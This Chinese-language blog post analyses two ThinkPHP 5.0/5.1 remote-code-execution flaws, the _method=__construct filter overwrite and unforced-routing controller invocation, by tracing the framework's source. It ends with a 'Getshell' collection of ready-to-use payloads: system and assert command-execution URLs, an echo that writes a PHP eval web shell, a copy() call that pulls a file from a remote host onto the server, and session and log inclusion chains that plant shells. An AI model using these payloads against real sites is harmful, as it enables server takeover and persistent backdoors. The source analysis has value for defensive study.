Thinkphp5 RCE 分析


前言

开始前可以看一下大佬的Thinkphp5 源码阅读 了解thinkphp5的基本运行流程。

thinphp的rce方法在不同版本利用方式不同,但主要的rce原因有两个:

  • thinkphp/library/think/Request.php中method方法可控制该类的任意方法导致核心属性filter被覆盖而导致RCE
  • 未开启强制路由导致rce

下面我对这两种方法分别进行分析。

method __contruct导致的rce

环境使用的是thinkphp5.0.22,官方下载链接

开启debug模式下RCE

该版本默认的debug是关闭的,debug是否关闭都有rce的方法为了更好的讲解该漏洞我们首先把debug开启。看看在debug下如何RCE。

thinkphp首先使用我们的payload测试一下:

http://easy.test/thinkphp_5.0.22_with_extend_3/public/index.php
POST:
_method=__construct&filter[]=system&get[]=ipconfig

如下图成功执行命令:

没有问题后我们开始漏洞分析:

先简单看一下流程thinkphp/library/think/App.php下的run方法,下面部分默认没有跳入的代码省略。

public static function run(Request $request = null)
{
    $request = is_null($request) ? Request::instance() : $request;

    try {
        $config = self::initCommon();
        ...
        // 获取应用调度信息
        $dispatch = self::$dispatch;

        // 未设置调度信息则进行 URL 路由检测
        if (empty($dispatch)) {
            $dispatch = self::routeCheck($request, $config);
        }
        if (self::$debug) {
            Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info');
            Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info');
            Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info');
         }
        ...

        $data = self::exec($dispatch, $config);
    } catch (HttpResponseException $exception) {
        ...
    }

首先初始化$request这个大数组,self::initCommon();初始化公共配置。未设置调度信息则进行 URL 路由检测self::routeCheck($request, $config);默认进入。

我们来看看routeCheck方法:

 public static function routeCheck($request, array $config)
    {
        $path   = $request->path();
        $depr   = $config['pathinfo_depr'];
        $result = false;

        // 路由检测
        $check = !is_null(self::$routeCheck) ? self::$routeCheck : $config['url_route_on'];
        if ($check) {
            // 开启路由
            if (is_file(RUNTIME_PATH . 'route.php')) {
                // 读取路由缓存
                $rules = include RUNTIME_PATH . 'route.php';
                is_array($rules) && Route::rules($rules);
            } else {
                $files = $config['route_config_file'];
                foreach ($files as $file) {
                    if (is_file(CONF_PATH . $file . CONF_EXT)) {
                        // 导入路由配置
                        $rules = include CONF_PATH . $file . CONF_EXT;
                        is_array($rules) && Route::import($rules);
                    }
                }
            }

            // 路由检测(根据路由定义返回不同的URL调度)
            $result = Route::check($request, $path, $depr, $config['url_domain_deploy']);
            $must   = !is_null(self::$routeMust) ? self::$routeMust : $config['url_route_must'];

            if ($must && false === $result) {
                // 路由无效
                throw new RouteNotFoundException();
            }
        }
        // 路由无效 解析模块/控制器/操作/参数... 支持控制器自动搜索
        if (false === $result) {
            $result = Route::parseUrl($path, $depr, $config['controller_auto_search']);
        }
        return $result;
    }

这里并不重要简单的说一下整个流程进入if语句块,如果有路由缓存会读路由缓存,没有的话会读/application/route.php导入路由,经过Route::check()后,会拿$config['url_route_must']来判断是否是强路由。而默认不适用强路为false,而如果是强路由会抛出throw new RouteNotFoundException() 异常,如果没有开启强路由会进入Route::parseUrl($path, $depr, $config['controller_auto_search'])自动解析模块/控制器/操作/参数

这里我们主要关注其Route::check()方法在这里我们可以看到前文说到的该漏洞触发的调用核心方法method方法

$method = strtolower($request->method());

跟进该方法看看:
位于thinkphp/library/think/Request.php

通过上图可以看出通过POST一个_method参数,即可进入判断,并执行$this->{$this->method}($_POST)语句。因此通过指定_method即可完成对该类的任意方法的调用,其传入对应的参数即对应的$_POST数组。

这里可利用方法为__construct方法:

    protected function __construct($options = [])
    {
        foreach ($options as $name => $item) {
            if (property_exists($this, $name)) {
                $this->$name = $item;
            }
        }
        if (is_null($this->filter)) {
            $this->filter = Config::get('default_filter');
        }
        // 保存 php://input
        $this->input = file_get_contents('php://input');
    }

可以看出其调用foreach方法对Request的成员属性替换成options数组中对应的值,而正是我们传入POST数组。

其中$this->filter保存着全局过滤规则,使用我们的payload覆盖后相关的变量变为:

$this
    get = {array} [0]
        0 = dir
    filter =  {array} [0]
        0 = system

我们放回run方法中。当我们开始debug模式的时候我们可以看到其会调用

$request->param()方法

更进该方法:

 public function param($name = '', $default = null, $filter = '')
    {
        if (empty($this->mergeParam)) {
            $method = $this->method(true);
            // 自动获取请求变量
            switch ($method) {
                case 'POST':
                    $vars = $this->post(false);
                    break;
                case 'PUT':
                case 'DELETE':
                case 'PATCH':
                    $vars = $this->put(false);
                    break;
                default:
                    $vars = [];
            }
            // 当前请求参数和URL地址中的参数合并
            $this->param      = array_merge($this->param, $this->get(false), $vars, $this->route(false));

            $this->mergeParam = true;
        }
        if (true === $name) {
            // 获取包含文件上传信息的数组
            $file = $this->file();
            $data = is_array($file) ? array_merge($this->param, $file) : $this->param;
            return $this->input($data, '', $default, $filter);
        }
        return $this->input($this->param, $name, $default, $filter);
    }

$this->param通过array_merge将当前请求参数和URL地址中的参数合并。而前面已经通过__construct设置了$this->getipconfg。此后$this->param其值被设置为:

array (size=1)
  0 => string 'ipconfig' (length=8)

然后执行input方法

<?php
public function input($data = [], $name = '', $default = null, $filter = '')
{
    ......
      // 解析过滤器       
$filter = $this->getFilter($filter, $default);
if (is_array($data)) {
    array_walk_recursive($data, [$this, 'filterValue'], $filter);
     reset($data);
} else {
      $this->filterValue($data, $name, $filter);
}
    ....
}

这里的data正是前面的$this->param进入array_walk_recursive($data, [$this, 'filterValue'], $filter);

调用filterValue

跟上该方法:

看到这里应该都懂了回调函数调用我们的精心构造的值最终导致了RCE。

小坑

这里虽然表面上可以通过调用回调函数执行任意任意代码,但并非所有函数都可以。比如我们使用assert函数来执行phpinfo()命令。

你会发现执行失败,在debug开启下我们可以清晰的看到其报错原因:
image-20201213172421090

这个POST在哪里来的?

其实在上面param方法的时候我故意讲漏了一点:

这里在调用了一次method方法:

    public function method($method = false)
    {
        if (true === $method) {
            // 获取原始请求类型
            return $this->server('REQUEST_METHOD') ?: 'GET';
        }
        .......
    }

进入server方法

    public function server($name = '', $default = null, $filter = '')
    {
        if (empty($this->server)) {
            $this->server = $_SERVER;
        }
        if (is_array($name)) {
            return $this->server = array_merge($this->server, $name);
        }
        return $this->input($this->server, false === $name ? false : strtoupper($name), $default, $filter);
    }

可以看到其再去调用了input方法:

本质就是取name数组中的REQUEST_METHOD的值

我们上面使用的payload后该值为REQUEST_METHODPOST

最后带进入call_user_func('assert','POST')引发开始的那个报错,剩下的代码也停止了执行。非常有趣的一点是system在上面这种情况并不会报错。如下测试代码;

<?php
$a=$_GET['a'];
$b = $_GET['b'];
$table = call_user_func($a,$b);

没有这个system这个命令php并不会报错而是执行下去,正是这个特征才使得我们进入第二次input函数中执行我们的payload。

但是因为可以使用变量覆盖,所以其实我们其实也可以直接把REQUEST_METHOD变量覆盖成我们想要的值。这里就可以得到一个更加通用的payload:

http://easy.test/thinkphp_5.0.22_with_extend_3/public/index.php
POST
_method=__construct&filter[]=assert&server[REQUEST_METHOD]=phpinfo()

未开启debug模式下RCE

thinkphp5.2.2默认是未开启debug的,其实rce的原理也一样。这里只讲解和开启debug的一些不同的地方。

thinkphp/library/think/App.php下我们继续看exec方法

$data = self::exec($dispatch, $config);

从中开启debug模式哪里分析我们可以得到要想rce一个重要点就是进入这里面的Request::param()方法中。

在在thinkphp5完整版中官网揉进去了一个验证码的路由,也就是我们常见payload中的s=captcha$dispatch['type']

就是method进入该分支。值得注意的是我们请求的路由是?s=captcha,它对应的注册规则为\think\Route::get。在method方法结束后,返回的$this->method值应为get这样才能不出错,所以payload中有个method=get

剩下的和前面的debug的下流程一模一样了最后附上最终payload:

http://easy.test/thinkphp_5.0.22_with_extend_3/public/index.php?s=captcha
POST:
_method=__construct&filter[]=assert&method=get&server[REQUEST_METHOD]=phpinfo()

未开启强制路由命令执行

这个比上面这个理解起来则容易得多了。漏洞的根本原因在于框架对控制器没有进行足够的检查导致了任意调用类的方法最终导致RCE.

首先我们可以看到默认配置中强制路由是默认关闭的:

小s是兼容模式变量名称,是可以通过配置文件更改的。

payload如下:

http://easy.test/thinkphp_5.0.22_with_extend_3/public/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir

我们先简单分析一下路由在解析的整个流程

thinkphp/library/think/App.php开始前面有些细节已经讲过这里就不多做细说了,首先进入self::routeCheck($request, $config);中。

    public static function routeCheck($request, array $config)
    {
        $path   = $request->path();
        $depr   = $config['pathinfo_depr'];
        $result = false;

        // 路由检测
        $check = !is_null(self::$routeCheck) ? self::$routeCheck : $config['url_route_on'];
        if ($check) {
            // 开启路由
            if (is_file(RUNTIME_PATH . 'route.php')) {
                // 读取路由缓存
                $rules = include RUNTIME_PATH . 'route.php';
                is_array($rules) && Route::rules($rules);
            } else {
                $files = $config['route_config_file'];
                foreach ($files as $file) {
                    if (is_file(CONF_PATH . $file . CONF_EXT)) {
                        // 导入路由配置
                        $rules = include CONF_PATH . $file . CONF_EXT;
                        is_array($rules) && Route::import($rules);
                    }
                }
            }

            // 路由检测(根据路由定义返回不同的URL调度)
            $result = Route::check($request, $path, $depr, $config['url_domain_deploy']);
            $must   = !is_null(self::$routeMust) ? self::$routeMust : $config['url_route_must'];

            if ($must && false === $result) {
                // 路由无效
                throw new RouteNotFoundException();
            }
        }
        // 路由无效 解析模块/控制器/操作/参数... 支持控制器自动搜索
        if (false === $result) {
            $result = Route::parseUrl($path, $depr, $config['controller_auto_search']);
        }

        return $result;
    }

进入if语句块,如果有路由缓存会读路由缓存,没有的话会读/application/route.php导入路由,经过Route::check()后,会拿$config['url_route_must']来判断是否是强路由,如果是强路由会抛出throw new RouteNotFoundException() 异常。到这里也就可以看到为什么开启强路由不行了。

并非注册路由这里经过Route::check会放回False,会进入Route::parseUrl($path, $depr, $config['controller_auto_search'])自动解析模块/控制器/操作/参数

我们更进查看:

$depr在配置文件中可以查看到为/,先把$url中的/替换成|然后给self::parseUrlPath()方法进行处理。更进查看:

    private static function parseUrlPath($url)
    {
        // 分隔符替换 确保路由定义使用统一的分隔符
        $url = str_replace('|', '/', $url);
        $url = trim($url, '/');
        $var = [];
        if (false !== strpos($url, '?')) {
            // [模块/控制器/操作?]参数1=值1&参数2=值2...
            $info = parse_url($url);
            $path = explode('/', $info['path']);
            parse_str($info['query'], $var);
        } elseif (strpos($url, '/')) {
            // [模块/控制器/操作]
            $path = explode('/', $url);
        } else {
            $path = [$url];
        }
        return [$path, $var];
    }

首先是把$url中的|替换成为/ ,然后通过/作为分隔符把$url打乱成为数组。

可以看到最终得到了我们想要访问的方法:

然后返回我们的主方法中进入应用调度方法App::exec(),然后进入module模块:

其中会调用App内的静态方法通过反射实现调用模块/控制器/操作。

我们看self::module方法中的最后一行:

return self::invokeMethod($call, $vars);

查看self::invokeMethod($call, $vars);方法

    public static function invokeMethod($method, $vars = [])
    {
        if (is_array($method)) {
            $class   = is_object($method[0]) ? $method[0] : self::invokeClass($method[0]);
            $reflect = new \ReflectionMethod($class, $method[1]);
        } else {
            // 静态方法
            $reflect = new \ReflectionMethod($method);
        }

        $args = self::bindParams($reflect, $vars);

        self::$debug && Log::record('[ RUN ] ' . $reflect->class . '->' . $reflect->name . '[ ' . $reflect->getFileName() . ' ]', 'info');
        return $reflect->invokeArgs(isset($class) ? $class : null, $args);
    }

invokeMethod()中,创建反射方法$reflect = new \ReflectionMethod($class, $method[1]);,获取反射函数$args = self::bindParams($reflect, $vars);,接着记录日志后调用$reflect->invokeArgs(isset($class) ? $class : null, $args);反射调用模块/控制器/操作中的操作

到这里整个流程我们已经结束结束了。我们在thinkphp/library/think/App.php下写一个方法做一个实验

    public function test($a,$b){
        echo $a;
        echo $b;
    }

直接从web进行访问:

可以成功访问到任意类中的方法。

然后我们查看网上该版本最流行的一条payload:

http://easy.test/thinkphp_5.0.22_with_extend_3/public/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir

调用的是thinkphp/library/think/App.php下的invokefunction方法。我们更进看看:

    /**
     * 执行函数或者闭包方法 支持参数调用
     * @access public
     * @param string|array|\Closure $function 函数或者闭包
     * @param array                 $vars     变量
     * @return mixed
     */
    public static function invokeFunction($function, $vars = [])
    {
        $reflect = new \ReflectionFunction($function);
        $args    = self::bindParams($reflect, $vars);
        // 记录执行信息
        self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info');
        return $reflect->invokeArgs($args);
    }

从thinkphp官方注释大家都应该已经看懂该方法怎么利用了。这里就不多说了。

Getshell方法总结

通用payload

参考泡泡师傅的payload:https://xz.aliyun.com/t/3570

版本:ThinkPHP 5.0.0~5.0.23

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

当然为了更好的检测漏洞不被waf拦截个人更推荐使用var_dump等不敏感的函数进行检测如:

?s=index/\think\app/invokefunction&function=var_dump&vars[0]=233

5.1.x php版本>5.5

tp://127.0.0.1/index.php?s=index/think\request/input?data[]=23333&filter=var_dump

http://127.0.0.1/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()

http://127.0.0.1/index.php?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=<?php%20phpinfo();?>

更进详细的payload可以参考:https://y4er.com/post/thinkphp5-rce/#%E5%8F%82%E8%80%83

Getshell

直接使用echo写

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "%3C?php%20@eval($_POST%5Bcaidao%5D)?%3E" > 2.php

copy函数

如果对方过滤一些php标签也可以利用该方法Getshell

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=copy&vars[1][0]=http://xxx/git.php&vars[1][1]=233.php

包含session进行Getshell

首先通过phpinfo首先session.save_path查看session的路径。

session.save_path如果为空在linux下默认在/tmp下。

然后创建一个session

POST /?s=captcha HTTP/1.1
Cookie: PHPSESSID=kking

写shell到session中

_method=__construct&filter[]=think\Session::set&method=get&get[]=<?php eval($_POST['x'])?>&server[]=1

包含Session

POST /?s=captcha

_method=__construct&method=get&filter[]=think\__include_file&get[]=E:\phpstudy\PHPTutorial\tmp\tmp\sess_kking&server[]=1&x=phpinfo();

包含日志Getshell

写shell进日志
_method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=<?php eval($_POST['x'])?>

通过日志包含getshell
_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=../runtime/log/202012/14.log&x=phpinfo();

thinkphp的rce后可以利用的点非常的多也非常的灵活,能够Getshell的方法远不止上面这几种。

后言

终于写完了自已其实对thinkphp5的理解不够深刻,若分析存在那些错误希望各位师傅看到了帮忙指正,感谢!

参考文章

https://xz.aliyun.com/t/6106#toc-3

https://dev-preview.cnblogs.com/Mikasa-Ackerman/p/ThinkPhp-zhiRce-fen-xi.html

https://y4er.com/post/thinkphp5-rce/#%E5%8F%82%E8%80%83

https://y4er.com/post/thinkphp5-source-read/

https://xz.aliyun.com/t/3845

https://xz.aliyun.com/t/3570


文章作者: EASY
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 EASY !
 上一篇
狂雨CMS前台RCE 狂雨CMS前台RCE
前言CMS下载地址:http://down.chinaz.com/soft/39285.htm。 thinkphp5.1.* 反序列化漏洞该CMS使用的thinkphp5.1.33进行的二次开发,我们知道thinkphp5.1.*和thin
2020-12-20 EASY
下一篇 
Thinkphp3 漏洞总结 Thinkphp3 漏洞总结
基础在开始前可以看看下面三篇文章了解thinkphp3.2.3 Thinkphp3 开发手册 Thinkphp3.2.3 安全开发须知 ThinkPHP中的常用方法汇总总结:M方法,D方法,U方法,I方法 环境准备测试thinkphp版
2020-12-08 EASY
  目录